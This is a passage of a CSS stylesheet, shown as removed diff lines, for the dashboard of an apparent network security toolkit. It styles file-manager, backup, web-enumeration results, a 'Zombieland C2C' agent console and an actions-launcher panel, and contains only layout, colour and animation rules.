.context-menu { - position: absolute; - z-index: 1000; - background: color-mix(in oklab, var(--_panel) 98%, transparent); - border: 1px solid var(--_border); - border-radius: 10px; - padding: 6px 8px; - min-width: 160px; - color: var(--_ink); - box-shadow: var(--_shadow); -} - -.files-container .context-menu>div { - padding: 8px 10px; - border-radius: 8px; - cursor: pointer; -} - -.files-container .context-menu>div:hover { - background: color-mix(in oklab, var(--_acid2) 12%, transparent); -} - -.files-container .search-container { - position: relative; - margin-bottom: 10px; - display: flex; - align-items: center; -} - -.files-container .search-input { - width: 100%; - padding: 10px 40px 10px 12px; - font-size: 14px; - border-radius: 10px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_ink); - box-sizing: border-box; - transition: .2s; -} - -.files-container .search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.files-container .search-input::placeholder { - color: color-mix(in oklab, var(--_muted) 70%, transparent); -} - -.files-container .clear-button { - position: absolute; - right: 12px; - background: none; - border: none; - color: color-mix(in oklab, var(--_acid) 55%, var(--_ink)); - font-size: 16px; - cursor: pointer; - display: none; -} - -.files-container .clear-button.show { - display: block; -} - -.files-container .toolbar-buttons { - display: flex; - gap: 8px; - margin-bottom: 10px; - flex-wrap: wrap; -} - -.files-container .action-button { - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); - color: var(--_muted); - padding: 8px 10px; - border-radius: 10px; - cursor: pointer; - font-size: 14px; - font-weight: 700; - display: flex; - align-items: center; - gap: 6px; - transition: .2s; - backdrop-filter: blur(10px); -} - -.files-container .action-button:hover { - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - transform: translateY(-2px); -} - -.files-container .action-button.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.files-container .action-button.delete { - background: color-mix(in oklab, var(--_acid) 14%, var(--_panel)); - color: var(--_ink); - display: none; - border-color: color-mix(in oklab, var(--_acid) 40%, var(--_border)); -} - -.files-container .action-button.delete.show { - display: flex; -} - -.files-container .modal { - display: block; - position: fixed; - inset: 0; - z-index: 1000; - background: rgba(0, 0, 0, .5); -} - -.files-container .modal-content { - background: color-mix(in oklab, var(--_panel) 98%, transparent); - color: var(--_ink); - margin: 12vh auto; - padding: 20px; - width: min(500px, 92vw); - border: 1px solid var(--_border); - border-radius: 14px; - box-shadow: var(--_shadow); -} - -.files-container .modal-buttons { - margin-top: 18px; - text-align: right; - display: flex; - gap: 8px; - justify-content: flex-end; -} - -.files-container .modal-buttons button { - margin-left: 0; - padding: 8px 14px; - border-radius: 10px; - border: 1px solid var(--_border); - cursor: pointer; - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_ink); -} - -.files-container .modal-buttons button:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .modal-buttons .primary { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - color: var(--_ink); -} - -.files-container #folder-tree { - border: 1px solid var(--_border); - border-radius: 10px; - padding: 8px; - margin: 10px 0; - max-height: 320px; - overflow-y: auto; - background: color-mix(in oklab, var(--_panel) 92%, transparent); -} - -.files-container .folder-item { - padding: 8px 10px; - cursor: pointer; - display: flex; - align-items: center; - gap: 8px; - border-radius: 8px; -} - -.files-container .folder-item:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .folder-item.selected { - background: color-mix(in oklab, var(--_acid2) 16%, transparent); - outline: 1px solid color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.files-container .folder-item i { - color: var(--_muted); -} - -.files-container .path-navigator { - padding: 8px; - margin-bottom: 8px; - border-radius: 10px; - display: flex; - align-items: center; - gap: 8px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - border: 1px solid var(--_border); -} - -.files-container .nav-buttons { - display: flex; - gap: 8px; -} - -.files-container .back-button { - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - color: var(--_muted); - padding: 8px 12px; - border-radius: 10px; - cursor: pointer; - font-weight: 700; - display: flex; - align-items: center; - gap: 6px; - min-width: 40px; - min-height: 40px; - justify-content: center; - transition: .2s; -} - -.files-container .back-button:hover { - background: color-mix(in oklab, var(--_panel) 98%, transparent); - color: var(--_ink); -} - -.files-container .current-path { - display: flex; - align-items: center; - gap: 6px; - overflow: hidden; - flex-wrap: wrap; -} - -.files-container .path-segment { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); - color: var(--_ink); - padding: 6px 10px; - border-radius: 10px; - cursor: pointer; - transition: .2s; - border: 1px solid color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.files-container .path-segment:hover { - filter: brightness(1.08); -} - -@media (max-width:420px) { - .files-container .loot-container { - height: 80vh; - } - - .files-container .file-explorer { - max-height: 40vh; - } - - .files-container .files-grid { - max-height: 40vh; - } - - .files-container .drop-zone { - padding: 18px; - font-size: 15px; - } - - .files-container .toolbar-buttons { - padding: 4px; - gap: 6px; - } - - .files-container .search-container, - .files-container .path-navigator { - padding: 4px; - } - - .files-container .grid-item { - min-height: 74px; - font-size: 12px; - } - - .files-container .item-name { - font-size: 13px; - margin-top: 2px; - } - - .files-container .item-meta { - font-size: 10px; - margin-top: 2px; - } - - .files-container .grid-item img, - .files-container .list-item img { - width: 28px; - height: 28px; - } -} - -@media (max-width:768px) { - .files-container .files-grid { - grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); - gap: 8px; - } - - .files-container #file-list { - max-height: fit-content; - overflow-y: auto; - } - - .files-container .toolbar-buttons { - flex-direction: row; - flex-wrap: wrap; - gap: 8px; - } - - .files-container .files-list { - padding: 8px; - max-height: 50vh; - overflow-y: auto; - } - - .files-container .grid-item { - padding: 8px; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - BACKUP & UPDATE (.page-backup) - ═══════════════════════════════════════════════════════════════════════ */ -.page-backup .main-container { - display: flex; - height: calc(100vh - 60px); - width: 100%; - position: relative; -} - -.page-backup .section-list { - list-style-type: none; - padding: 0; - margin: 0; - flex-grow: 1; -} - -.page-backup .list-item { - display: flex; - align-items: center; - padding: 12px; - cursor: pointer; - border-radius: var(--radius); - margin-bottom: 12px; - transition: box-shadow .3s, background-color .3s, border-color .3s; - background: var(--grad-card); - border: 1px solid var(--c-border); - box-shadow: var(--shadow); -} - -.page-backup .list-item:hover { - box-shadow: var(--shadow-hover); -} - -.page-backup .list-item.selected { - border: 1px solid #00e764; -} - -.page-backup .list-item img { - margin-right: 10px; -} - -@keyframes bak-spin { - 0% { - transform: rotate(0); - } - - 100% { - transform: rotate(360deg); - } -} - -.page-backup .right-panel { - flex: 1; - display: flex; - flex-direction: column; - padding: 20px; - overflow-y: auto; - box-sizing: border-box; - background-color: #1e1e1e; -} - -.page-backup .content-section { - display: none; -} - -.page-backup .content-section.active { - display: block; -} - -.page-backup form { - margin-top: 20px; -} - -.page-backup form label { - display: block; - margin-bottom: 5px; - color: white; -} - -.page-backup form input[type="text"] { - width: 100%; - padding: 8px; - margin-bottom: 10px; - border: 1px solid #555; - border-radius: 4px; - background-color: #07422f40; - color: #fff; - cursor: text; - pointer-events: auto; -} - -.page-backup form input[type="text"]:focus { - outline: none; - border-color: #007acc; - background-color: #3d3d3d; -} - -.page-backup form input[type="text"]:hover { - border-color: #666; -} - -.page-backup .default-badge { - display: inline-block; - padding: 2px 8px; - margin-left: 8px; - background-color: #007acc; - color: white; - border-radius: 12px; - font-size: .85em; - font-weight: 700; -} - -.page-backup .bj-modal { - display: none; - position: fixed; - z-index: 1000; - inset: 0; - overflow: auto; - background-color: rgba(0, 0, 0, .5); -} - -.page-backup .bj-modal__content { - background-color: #2d2d2d; - margin: 10% auto; - padding: 20px; - border: 1px solid #888; - width: 80%; - max-width: fit-content; - border-radius: 8px; - z-index: 1001; - color: #fff; -} - -.page-backup .bj-modal__close { - color: #aaa; - float: right; - font-size: 28px; - font-weight: 700; - cursor: pointer; -} - -.page-backup .bj-modal__close:hover, -.page-backup .bj-modal__close:focus { - color: #fff; - text-decoration: none; -} - -.page-backup .bj-loading-overlay { - display: none; - position: fixed; - z-index: 1100; - inset: 0; - background-color: rgba(0, 0, 0, .7); - justify-content: center; - align-items: center; -} - -.page-backup .bj-rotating-arrow { - width: 50px; - height: 50px; - border: 5px solid transparent; - border-top: 5px solid #007acc; - border-right: 5px solid #007acc; - border-radius: 50%; - animation: bak-spin 1.5s linear infinite, bak-bjPulse 1.5s ease-in-out infinite; -} - -@keyframes bak-bjPulse { - 0% { - box-shadow: 0 0 0 0 rgba(0, 122, 204, .7); - } - - 70% { - box-shadow: 0 0 0 20px rgba(0, 122, 204, 0); - } - - 100% { - box-shadow: 0 0 0 0 rgba(0, 122, 204, 0); - } -} - -.page-backup #bj-update-message { - background-color: #28a745; - color: #fff; - padding: 12px 20px; - border-radius: 25px; - display: inline-block; - margin-bottom: 15px; - box-shadow: 0 4px 6px rgba(0, 0, 0, .1); - font-size: 16px; - max-width: 100%; - word-wrap: break-word; -} - -.page-backup #bj-update-message.fade-in { - animation: bak-fadeIn .5s ease-in-out; -} - -@keyframes bak-fadeIn { - from { - opacity: 0; - transform: translateY(-10px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -@media (max-width:768px) { - .page-backup .main-container { - flex-direction: column; - } -} - -@media (min-width:769px) { - .page-backup .menu-icon { - display: none; - } - - .page-backup .side-menu { - transform: translateX(0); - position: relative; - height: 98%; - z-index: 10000; - } -} - -.page-backup .form-control { - cursor: text; - pointer-events: auto; - background-color: #2d2d2d; - color: #ffffff; -} - -.page-backup .backups-table button.loading { - position: relative; - pointer-events: none; - opacity: .6; - background-color: #2d2d2d; - color: #fff; - border: #007acc; -} - -/* ═══════════════════════════════════════════════════════════════════════ - WEB ENUM (.webenum-container) - ═══════════════════════════════════════════════════════════════════════ */ -.webenum-container .container { - max-width: 1400px; - margin: 0 auto; - padding: 16px; -} - -.webenum-container .header.card { - display: flex; - align-items: center; - justify-content: space-between; - gap: 10px; -} - -.webenum-container .header h1 { - margin: 0; - color: var(--acid); -} - -.webenum-container .controls.card { - display: grid; - gap: 10px; -} - -.webenum-container .controls-row { - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; -} - -.webenum-container .search-box { - flex: 1; - min-width: 230px; - position: relative; -} - -.webenum-container .search-box .input { - width: 100%; - padding-right: 36px; -} - -.webenum-container .search-icon { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - color: var(--acid); -} - -.webenum-container .stats { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); - gap: 10px; - margin: 10px 0 12px; -} - -.webenum-container .stat-card { - background: var(--grad-card); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 12px 14px; - box-shadow: var(--shadow); -} - -.webenum-container .stat-value { - font-weight: 700; - color: var(--acid); -} - -.webenum-container .stat-label { - color: var(--muted); -} - -.webenum-container .status-legend.card { - display: flex; - flex-wrap: wrap; - gap: 8px; - align-items: center; -} - -.webenum-container .results-container.card { - overflow: hidden; -} - -.webenum-container .results-header { - display: flex; - justify-content: space-between; - align-items: center; - border-bottom: 1px solid var(--c-border); - padding-bottom: 8px; - margin-bottom: 8px; -} - -.webenum-container .results-count { - color: var(--accent-2); - font-weight: 600; -} - -.webenum-container .table-container { - overflow: auto; - max-height: calc(100vh - 520px); - min-height: 400px; -} - -.webenum-container table { - width: 100%; - border-collapse: collapse; -} - -.webenum-container th { - position: sticky; - top: 0; - z-index: 1; - background: var(--c-panel-2); - color: var(--acid); - text-align: left; - padding: 10px 12px; - border-bottom: 1px solid var(--c-border); - user-select: none; - cursor: pointer; - font-weight: 700; -} - -.webenum-container td { - padding: 8px 12px; - border-bottom: 1px dashed var(--c-border); -} - -.webenum-container tr { - transition: background .15s ease; -} - -.webenum-container tr:hover { - background: color-mix(in oklab, var(--acid) 8%, transparent); - cursor: pointer; -} - -.webenum-container th.sortable::after { - content: ' \21C5'; - opacity: .5; -} - -.webenum-container th.sort-asc::after { - content: ' \2191'; - color: var(--acid); - opacity: 1; -} - -.webenum-container th.sort-desc::after { - content: ' \2193'; - color: var(--acid); - opacity: 1; -} - -.webenum-container .no-results { - text-align: center; - padding: 40px; - color: var(--muted); - font-style: italic; -} - -.webenum-container .loading { - text-align: center; - padding: 40px; - color: var(--acid); -} - -.webenum-container .host-badge { - background: var(--c-chip-bg); - color: var(--accent-2); - padding: 3px 8px; - border-radius: 8px; - border: 1px solid var(--c-border); - font-weight: 600; - font-size: .9rem; -} - -.webenum-container .port-badge { - background: var(--c-chip-bg); - color: var(--acid); - padding: 3px 8px; - border-radius: 8px; - border: 1px solid var(--c-border); - font-weight: 700; - font-size: .9rem; -} - -.webenum-container .url-link { - color: var(--acid-2); - text-decoration: none; - font-size: 1.1rem; - transition: .2s; -} - -.webenum-container .url-link:hover { - color: var(--acid); - transform: scale(1.2); - display: inline-block; -} - -.webenum-container .status { - display: inline-block; - min-width: 60px; - text-align: center; - padding: 5px 10px; - border-radius: 8px; - font-weight: 700; - font-size: .85rem; - border: 1px solid var(--c-border); - transition: .2s; - cursor: default; -} - -.webenum-container .status:hover { - transform: translateY(-1px); - box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); -} - -.webenum-container .status-2xx { - background: var(--ok); - color: var(--ink-invert); -} - -.webenum-container .status-3xx { - background: var(--warning); - color: var(--ink-invert); -} - -.webenum-container .status-4xx { - background: var(--danger); - color: var(--ink); -} - -.webenum-container .status-5xx { - background: color-mix(in oklab, var(--danger) 65%, var(--lvl-crit-bg) 35%); - color: var(--ink); -} - -.webenum-container .status-unknown { - background: var(--muted-off); - color: var(--ink); -} - -.webenum-container .pagination { - display: flex; - justify-content: center; - align-items: center; - gap: 8px; - padding: 10px; - background: var(--c-panel); - border-top: 1px dashed var(--c-border); -} - -.webenum-container .page-btn { - display: inline-flex; - align-items: center; - justify-content: center; - padding: 8px 10px; - border-radius: var(--control-r); - background: var(--c-btn); - border: 1px solid var(--c-border-strong); - color: var(--ink); - cursor: pointer; - box-shadow: var(--shadow); - transition: .18s; -} - -.webenum-container .page-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.webenum-container .page-btn.active { - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); -} - -.webenum-container .page-btn:disabled { - opacity: .5; - cursor: not-allowed; -} - -.webenum-container .btn-primary { - background: linear-gradient(180deg, color-mix(in oklab, var(--acid) 28%, var(--c-btn)), var(--c-btn)); - border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); - color: var(--ink); -} - -.webenum-container .webenum-modal-backdrop { - display: none; - position: fixed; - inset: 0; - background: rgba(0, 0, 0, 0.85); - backdrop-filter: blur(4px); - z-index: 9999; - align-items: center; - justify-content: center; - animation: we-fadeIn 0.2s ease; -} - -.webenum-container .webenum-modal-backdrop.show { - display: flex; -} - -.webenum-container .webenum-modal-content { - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5); - width: min(720px, 96vw); - max-height: 86vh; - overflow: auto; - padding: 24px; - position: relative; - animation: we-slideUp 0.3s ease; -} - -.webenum-container .webenum-modal-content h2 { - margin: 0 0 16px; - color: var(--acid); - font-size: 1.5rem; -} - -.webenum-container .webenum-close { - position: absolute; - top: 16px; - right: 16px; - color: var(--muted); - font-size: 28px; - font-weight: 700; - cursor: pointer; - line-height: 1; - transition: .2s; - background: var(--c-btn); - border: 1px solid var(--c-border); - border-radius: 8px; - width: 32px; - height: 32px; - display: flex; - align-items: center; - justify-content: center; -} - -.webenum-container .webenum-close:hover { - color: var(--acid); - transform: rotate(90deg); -} - -@keyframes we-fadeIn { - from { - opacity: 0; - } - - to { - opacity: 1; - } -} - -@keyframes we-slideUp { - from { - transform: translateY(20px); - opacity: 0; - } - - to { - transform: translateY(0); - opacity: 1; - } -} - -@media (max-width:768px) { - .webenum-container .container { - padding: 10px; - } - - .webenum-container .results-header { - flex-direction: column; - gap: 8px; - text-align: center; - } - - .webenum-container th, - .webenum-container td { - padding: 8px 6px; - } -} - -@media (max-width:480px) { - - .webenum-container th, - .webenum-container td { - padding: 6px 4px; - font-size: .85rem; - } - - .webenum-container .status { - font-size: .75rem; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ZOMBIELAND C2C (.zombieland-container) - ═══════════════════════════════════════════════════════════════════════ */ -.zombieland-container .panel { - background: var(--panel); - border: 1px solid var(--c-border); - border-radius: var(--radius); - box-shadow: var(--shadow); -} - -.zombieland-container .btn-icon { - padding: 8px; - min-width: 36px; - display: inline-flex; - align-items: center; - justify-content: center; -} - -.zombieland-container .btn-primary { - background: linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid)); - border-color: color-mix(in oklab, var(--accent) 55%, var(--border)); -} - -.zombieland-container .btn-danger { - background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 20%, var(--btn-bg-solid)), var(--btn-bg-solid)); - border-color: color-mix(in oklab, var(--danger) 55%, var(--border)); -} - -.zombieland-container .pill { - background: var(--c-pill-bg); - border: 1px solid var(--c-border); - color: var(--muted); -} - -.zombieland-container .pill.online { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); - color: var(--ok); -} - -.zombieland-container .pill.offline { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); - color: var(--danger); -} - -.zombieland-container .pill.idle { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); - color: var(--warning); -} - -.zombieland-container .term { - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; -} - -.zombieland-container .console-output { - height: 400px; - overflow-y: auto; - padding: 12px; - font: var(--font-mono); - background: var(--grad-console); - border-radius: 8px; -} - -.zombieland-container .console-line { - margin: 4px 0; - display: flex; - align-items: flex-start; - gap: 8px; - font: var(--font-mono); -} - -.zombieland-container .console-time { - color: var(--muted); - font-size: 11px; -} - -.zombieland-container .console-type { - padding: 2px 6px; - border-radius: 999px; - font-size: 11px; - font-weight: 700; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.zombieland-container .console-type.tx { - background: var(--switch-on-bg); - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .console-type.rx { - background: color-mix(in oklab, var(--accent-2) 18%, var(--c-panel)); - color: var(--accent-2); - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .console-content { - flex: 1; - word-break: break-word; -} - -.zombieland-container .console-content pre { - margin: 0; - white-space: pre-wrap; -} - -.zombieland-container .agent-card { - transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; - cursor: pointer; - position: relative; - border: 1px solid var(--c-border); - border-radius: var(--radius); - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.zombieland-container .agent-card:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.zombieland-container .agent-card.selected { - border-color: color-mix(in oklab, var(--accent) 55%, transparent); - background: var(--grad-chip-selected); -} - -.zombieland-container .os-icon { - width: 24px; - height: 24px; -} - -.zombieland-container .toast.info { - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .toast.success { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .toast.error { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.zombieland-container .toast.warning { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -.zombieland-container .quick-cmd { - padding: 6px 12px; - background: var(--c-panel); - border: 1px dashed var(--c-border); - border-radius: 8px; - font-size: 12px; - cursor: pointer; -} - -.zombieland-container .quick-cmd:hover { - box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak); -} - -.zombieland-container .metric { - text-align: center; -} - -.zombieland-container .metric-value { - font-size: 32px; - font-weight: 800; - color: var(--acid); -} - -.zombieland-container .metric-label { - font-size: 12px; - color: var(--muted); - margin-top: 4px; -} - -.zombieland-container .file-item { - padding: 8px; - display: flex; - align-items: center; - gap: 8px; - cursor: pointer; - border-radius: 10px; -} - -.zombieland-container .file-item:hover { - background: var(--c-panel); -} - -.zombieland-container .file-item.directory { - color: var(--accent-2); -} - -.zombieland-container .modal_zombie { - background: var(--grad-modal); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); -} - -.zombieland-container .modal-content { - background: transparent; - border: none; - border-radius: 12px; - padding: 24px; - max-width: 720px; - width: 90%; - max-height: 80vh; - overflow-y: auto; -} - -@keyframes zl-pulseGreen { - 0% { - box-shadow: 0 0 0 0 var(--glow-strong); - } - - 70% { - box-shadow: 0 0 0 12px rgba(0, 0, 0, 0); - } - - 100% { - box-shadow: 0 0 0 0 rgba(0, 0, 0, 0); - } -} - -.zombieland-container .agent-card.pulse { - animation: zl-pulseGreen 1s ease; -} - -.zombieland-container .agent-stale-yellow { - border-color: color-mix(in oklab, var(--warning) 75%, transparent) !important; -} - -.zombieland-container .agent-stale-orange { - border-color: color-mix(in oklab, var(--warning) 95%, var(--danger) 10%); -} - -.zombieland-container .agent-stale-red { - border-color: var(--danger) !important; -} - -.zombieland-container .ecg { - position: relative; - width: 100%; - height: 42px; - overflow: hidden; - margin-top: 8px; - background: linear-gradient(transparent 23px, rgba(255, 255, 255, .04) 23px, transparent 24px); -} - -.zombieland-container .ecg-wrapper { - position: absolute; - top: 0; - left: 0; - height: 100%; - width: 600px; - display: flex; - will-change: transform; - animation: zl-ecgScroll linear infinite; -} - -@keyframes zl-ecgScroll { - from { - transform: translateX(0); - } - - to { - transform: translateX(-200px); - } -} - -.zombieland-container .ecg svg { - width: 200px; - height: 100%; - flex-shrink: 0; -} - -.zombieland-container .ecg path { - fill: none; - stroke: currentColor; - stroke-width: 2; - stroke-linecap: round; - stroke-linejoin: round; - filter: drop-shadow(0 0 2px currentColor) drop-shadow(0 0 6px currentColor); - shape-rendering: geometricPrecision; -} - -.zombieland-container .ecg.green { - color: var(--ok); -} - -.zombieland-container .ecg.yellow { - color: var(--warning); -} - -.zombieland-container .ecg.orange { - color: color-mix(in oklab, var(--warning) 70%, var(--danger) 20%); -} - -.zombieland-container .ecg.red { - color: var(--danger); -} - -.zombieland-container .ecg.flat .ecg-wrapper { - animation: none; -} - -.zombieland-container .ecg:not(.flat)::after { - content: ""; - position: absolute; - inset: 0; - background: linear-gradient(0deg, transparent, rgba(255, 255, 255, .03), transparent); - animation: zl-ecgFlicker 2.3s ease-in-out infinite alternate; - pointer-events: none; -} - -@keyframes zl-ecgFlicker { - from { - opacity: .2; - transform: translateY(0); - } - - to { - opacity: .35; - transform: translateY(-0.5px); - } -} - -.zombieland-container .console-line:has(.console-type.tx) .console-content { - color: var(--ok); -} - -.zombieland-container .console-line:has(.console-type.rx) .console-content { - color: var(--accent-2); -} - -.zombieland-container .console-output { - background: var(--grad-console); - border: 1px solid var(--c-border-strong); -} - -.zombieland-container .toolbar { - flex-wrap: wrap; - gap: 8px; -} - -.zombieland-container .quickbar { - overflow-x: auto; - -webkit-overflow-scrolling: touch; - scrollbar-width: thin; - padding-bottom: 4px; -} - -.zombieland-container .term-controls { - flex-wrap: wrap; -} - -.zombieland-container .term-controls .input, -.zombieland-container .term-controls .select { - min-width: 140px; -} - -@media (max-width: 768px) { - .zombieland-container .stats-grid { - grid-template-columns: 1fr !important; - } - - .zombieland-container .term-controls { - gap: 8px; - } - - .zombieland-container .term-controls .input { - flex: 1 1 100%; - } - - .zombieland-container .term-controls .select { - flex: 1 1 45%; - } - - .zombieland-container .term-controls .btn { - flex: 1 1 45%; - } -} - -.zombieland-container .console-type.info { - background: color-mix(in oklab, var(--accent-2) 14%, var(--c-panel)); - color: var(--accent-2); - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .console-type.warning { - background: color-mix(in oklab, var(--warning) 12%, var(--c-panel)); - color: var(--warning); - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -.zombieland-container .console-type.error { - background: color-mix(in oklab, var(--danger) 12%, var(--c-panel)); - color: var(--danger); - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.zombieland-container .console-type.success { - background: color-mix(in oklab, var(--ok) 12%, var(--c-panel)); - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .console-line:has(.console-type.info) .console-content { - color: var(--accent-2); -} - -.zombieland-container .console-line:has(.console-type.warning) .console-content { - color: var(--warning); -} - -.zombieland-container .console-line:has(.console-type.error) .console-content { - color: var(--danger); -} - -.zombieland-container .console-line:has(.console-type.success) .console-content { - color: var(--ok); -} - -.zombieland-container #logsOutput { - background: var(--grad-console) !important; - border: 1px solid var(--c-border-strong); - border-radius: 10px; - color: var(--ink); - padding: 12px; -} - -.zombieland-container #logsOutput .log-line { - display: flex; - align-items: flex-start; - gap: 8px; - font: var(--font-mono); - margin: 4px 0; -} - -.zombieland-container #logsOutput .log-time { - color: var(--muted); - font-size: 11px; -} - -.zombieland-container #logsOutput .log-text { - flex: 1; - word-break: break-word; -} - -.zombieland-container #logsOutput .console-type { - padding: 2px 6px; - border-radius: 999px; - font-size: 11px; - font-weight: 700; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.zombieland-container .stats-grid { - gap: 8px !important; - margin-bottom: 14px; -} - -.zombieland-container .stats-grid .panel { - padding: 10px 12px; -} - -.zombieland-container .stats-grid .metric-value { - font-size: 22px; -} - -.zombieland-container .stats-grid .metric-label { - font-size: 11px; - margin-top: 2px; -} - -@media (max-width:768px) { - .zombieland-container .stats-grid { - gap: 8px !important; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ACTIONS LAUNCHER (.actions-container) - ═══════════════════════════════════════════════════════════════════════ */ -.actions-container #actionsLauncher { - min-height: 0; - height: 100%; - display: grid; - grid-template-columns: 1fr; - gap: var(--gap-3, 10px); -} - -.actions-container .panel { - background: var(--grad-card, var(--c-panel)); - border: 1px solid var(--c-border); - border-radius: var(--radius, 14px); - box-shadow: var(--elev, 0 10px 30px var(--acid-1a, #00ff9a1a), inset 0 0 0 1px var(--acid-22, #00ff9a22)); - overflow: clip; -} - -.actions-container .sideheader { - padding: 10px 10px 6px; - border-bottom: 1px dashed var(--c-border); -} - -.actions-container .al-side-meta { - display: flex; - align-items: center; - justify-content: space-between; - gap: 8px; - margin-bottom: 8px; -} - -.actions-container .al-side-meta .sidetitle { - color: var(--acid); - font-weight: 800; - letter-spacing: .05em; -} - -.actions-container .tabs-container { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.actions-container .tab-btn { - all: unset; - cursor: pointer; - padding: 6px 10px; - border-radius: 10px; - background: var(--c-pill-bg); - border: 1px solid var(--c-border); - color: var(--muted); -} - -.actions-container .tab-btn.active { - background: var(--grad-chip-selected); - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); - outline-offset: 0; -} - -.actions-container .al-search { - display: flex; - gap: 10px; - padding: 10px; -} - -.actions-container .al-input { - flex: 1; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - padding: 10px 12px; - border-radius: var(--control-r, 10px); - font: inherit; -} - -.actions-container .al-input:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; -} - -.actions-container .sidecontent { - padding: 8px; - overflow: auto; -} - -.actions-container .al-list { - display: flex; - flex-direction: column; - gap: 10px; - padding-right: 4px; -} - -.actions-container .al-row { - position: relative; - display: grid; - grid-template-columns: 84px 1fr; - gap: 12px; - padding: 10px; - background: var(--c-panel-2); - border-radius: 12px; - cursor: pointer; - transition: transform .15s ease, border-color .15s ease, box-shadow .15s ease; -} - -.actions-container .al-row:hover { - transform: translateY(-1px); - border-color: color-mix(in oklab, var(--accent) 25%, var(--c-border)); - box-shadow: 0 10px 26px var(--glow-weak); -} - -.actions-container .al-row.selected { - outline: 2px solid color-mix(in oklab, var(--acid) 35%, transparent); - box-shadow: 0 12px 30px color-mix(in oklab, var(--acid) 25%, transparent); -} - -.actions-container .al-row .ic { - width: 84px; - height: 84px; - display: grid; - place-items: center; - border-radius: 12px; - background: var(--c-panel); - overflow: hidden; -} - -.actions-container .ic-img { - width: 70px; - height: 70px; - object-fit: cover; - display: block; -} - -.actions-container .al-row>div:nth-child(2) { - min-width: 0; - display: flex; - flex-direction: column; - gap: 4px; -} - -.actions-container .name { - font-weight: 800; - color: var(--acid-2); - font-size: 14px; - line-height: 1.2; -} - -.actions-container .desc { - color: var(--muted); - font-size: 13px; - line-height: 1.25; -} - -.actions-container .al-row .chip { - position: absolute; - top: 6px; - left: calc(84px/2 + 10px); - transform: translateX(-50%); - padding: 2px 8px; - border-radius: 999px; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); - color: var(--muted); - font-size: 11px; - line-height: 1; - pointer-events: none; -} - -.actions-container .chip.ok { - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.actions-container .chip.err { - color: var(--danger); - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.actions-container 